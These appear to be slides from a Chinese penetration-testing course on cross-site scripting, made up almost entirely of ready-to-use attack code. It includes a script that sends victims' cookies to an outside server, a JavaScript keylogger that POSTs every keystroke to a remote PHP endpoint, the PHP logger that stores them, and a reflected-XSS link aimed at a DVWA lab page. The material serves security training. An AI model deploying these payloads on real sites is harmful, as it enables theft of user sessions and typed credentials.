

渗透测试工程师技术实战课



第1课 XSS平台实操

XSS

- 窃取cookie
 - `<script src="http://192.168.141.1/a.js"></script>`
- a.js源码
 - `var img = new Image();`
 - `img.src =`
`"http://1.1.1.1/cookies.php?cookie="+document.cookie;`



XSS

- Keylogger.js

```
document.onkeypress = function(evt){
    evt = evt || window.event
    key = String.fromCharCode(evt.charCode)
    if(key){
        var http = new XMLHttpRequest();
        var param = encodeURIComponent(key);
        http.open("POST","http://192.168.20.8/keylogger.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-
urlencoded");
        http.send("key="+param);
    }
}
```



XSS

- Keylogger.php

```
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
```

- `<script src="http://1.1.1.1/keylogger.js"></script>`

- `<a`

```
href="http://192.168.141.137/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.141.1/keylogger.js'></script>">xss</a>
```



The image features a central figure of a person wearing a black hoodie, with their right hand pressed against their forehead in a gesture of stress or contemplation. The background is a vibrant blue digital landscape. It includes a glowing globe on the right side, a network of interconnected nodes and lines, and several padlock icons scattered throughout, symbolizing security or digital threats. The overall aesthetic is high-tech and cybernetic.

谢谢观赏